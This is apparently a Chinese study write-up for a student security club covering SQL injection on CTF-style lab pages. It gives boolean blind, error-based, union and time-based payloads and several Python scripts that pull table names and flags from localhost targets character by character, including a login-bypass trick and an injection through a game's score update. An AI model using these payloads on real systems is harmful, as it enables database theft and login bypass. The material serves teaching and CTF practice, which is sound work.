sql注入学习(加mctf小总结)

供cnss交流会课后学习 前排提醒!本文python脚本因为美观都换了行,自己利用的时候自行修改 首先源码丢了github 传送门 直接正文

cnss那道题

详情见我博客cnss招新pentest一文

cnss盲注初体验

首先用户名出输入admin' or '1'='1'# 返回页面: 再加上页面不会返回数据库的内容,所以考虑盲注(延时也可以,但是返回会不准确,毕竟影响因素多) 首先我们尝试去爆表: 帐号:

1
2
admin' or ascii(substr((select group_concat(table_name) 
from information_schema.tables where table_schema=database()),1,1))=48#

密码随意 如果返回的不为密码错误,就说明后面的表达式是成立的,由此判断出第一个表的第一个字符,通过改变substr 的第二个参数来获取完整表名,通过改limit来获取其他表(或者group_concat也可以,这里用的group_concat) 然后获得表名cnss,flag,user 然后同样

1
2
admin' or ascii(substr((select group_concat(column_name) 
from information_schema.columns where table_name="flag"),1,1))=48#

得到列名为flag 最后

1
admin' or ascii(substr((select flag from flag),1,1))=48#

脚本样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

list1=['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ',', 'a', 'b', 'c', 'd', 'e', 'f', 'g',
'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_',
'A', '{', '}', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
for num in range(1,50):
for each in list1:
ok=0
data={'username':'admin\' or ascii(substr((select group_concat(table_name)
from information_schema.tables
where table_schema=database()),{num},1))={ascii1}#'.format(num=num,ascii1=ord(each)),
'password':'123321'}
#print(data)
r=requests.post('http://localhost:8080/CNSS/bool.php',data=data)
if 'error' not in r.text:
print(each,end='')
break

if each=='Z':
ok=1
if ok==1:
break

得到flag:CNSS{SQl_1njecti0n}

cnss报错注入初体验

报错注入的前提是目标开启了错误显示,比如我们帐号输入admin',得到返回 那么我们输入 帐号:admin' and extractvalue(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database())))# 密码:随意 得到回显 说明有cnss,flag,user三张表,然后同盲注爆出列和字段 这里提一个报错注入新姿势,如果知道列名想爆出当前表名,可以使用polygon,比如

cnss union注初体验

union注入一般用于有回显的地方,直接用union提取出所需要的信息(还可以用于登录时改变密码,后续会提到) 比如我们的union.php里面 所以我们直接用union提取信息

1
2
99' union select group_concat(table_name) from
information_schema.tables where table_schema=database()#

返回为 后面同盲注的提取方法即可

cnss延时注入初体验

延时注入适用的范围很广,主要目标没有过滤函数,而且sql语句得到了执行,那么就可以得到判断 举个栗子 这种就可以延时注入 利用if,if(条件,条件为真的返回,条件为假的返回) 所以我们可以在if里面用盲注的方法来获取信息,但是注意,所得答案可能会受网速影响,多试几次是没问题的 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

list1=['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ',',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_',
'A', '{', '}', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
for num in range(1,50):
for each in list1:
ok=0
data={'id':'''99\' or if(ascii(substr((select group_concat(table_name)
from information_schema.tables where table_schema=database()
),{num},1))={ascii1},sleep(3),1)#'.format(num=num,ascii1=ord(each))'''}
#print(data)
try:
r=requests.post('http://localhost:8080/CNSS/sleep.php',data=data,timeout=3)
except:
print(each,end='')
break

if each=='Z':
ok=1
if ok==1:
break

MCTF注入1

记录这道题主要是从这道题见识到了一种新的登录代码(原谅我见识少...) 具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
include "connect.php";

$username=$_POST["username"];
$password=$_POST["password"];
if(preg_match('/union select/i', $username))
{
die("hacker?");
}
$sql = "select * from user where username = '$username'";
$res = mysql_query($sql);
$result = mysql_fetch_row($res);
if(!$result)
{
die('username error');
}
$password_now = $result[1];
if($password!=$password_now)
{
die('password error');
}

其中正则只过滤了一个union select是因为我对这个印象比较深刻,是用括号绕过的,所以这里只写了这一个. 然后这个后台是用username来取数据,然后比对password,如果我们用union来提取的话,就可以绕过密码了, 就比如这道题,我们输入

1
admin' union(select 1,1)#

密码填1,然后就没有提示错误了,于是就可以对密码进行盲注. 帐号填

1
admin'union(select 1,(ascii(sub(...))=..))#

密码填1,如果判断正确就没有密码错误的提示,由此进行注入. 然后这道题有个坑,那就是这个表里面没有东西,所以即使你用户名后面and 1=1也是报用户名错误.... 我当时就死在了这里...可惜可惜

flappy bird

这道题本来我都做出来了...我想到了应该是更新分数那个地方可以注入,无奈我不会...所以没有做... 这次补了一下,可以写了.总的来说还是在输入后面加上if然后搞事情吧比如这道flappy bird,这里我改成了update, update的话后面可以

1
and if((...),sleep(5),1)#

来注入,这里我换了一下思路,后面带的是

1
+if((...),10,1)#

然后如果分数涨了10分,说明正确,否则错误 主要代码如下: 延时注入的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import hashlib

def md5(src):
src=str(src)
m2=hashlib.md5()
m2.update(src.encode())
return m2.hexdigest()

flag=''
score=500
list1=['0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '_', 'A', '{', '}', 'B', 'C', 'D',
'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O',
'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
for num in range(1,50):
for each in list1:
score+=1
payload='{score} and if(ascii(substr((select flag from flag),
{num},1))={ascii_sql},sleep(3),1)#'.format(score=score,num=num,ascii_sql=ord(each))
check=md5(payload)
data={'score':payload,'check_code':check}
try:
r=requests.post('http://localhost:8080/flappy/game.php',data=data,timeout=3)
except:
flag+=each
print(flag)

print(flag)

相加脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import hashlib
import re

def md5(src):
src=str(src)
m2=hashlib.md5()
m2.update(src.encode())
return m2.hexdigest()

flag=''
r=requests.get('http://localhost:8080/flappy/game.php')
list1=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',
'z', '_', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'A', '{', '}', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z']
for num in range(1,50):
for each in list1:
score_now=int(re.findall(r'<strong>(\d+)</strong>',r.text)[0])
payload='{score}+if(ascii(substr((select flag from flag),{num1},1))=
{ascii_sql},10,1)#'.format(score=score_now,num1=num,ascii_sql=ord(each))
check=md5(payload)
data={'score':payload,'check_code':check}
r=requests.post('http://localhost:8080/flappy/game.php',data=data)
r=requests.get('http://localhost:8080/flappy/game.php')
score_next=re.findall(r'<strong>(\d+)</strong>',r.text)[0]
if int(score_next)-int(score_now)==10:
flag+=chr(ord(each))
print(flag)
break

print(flag)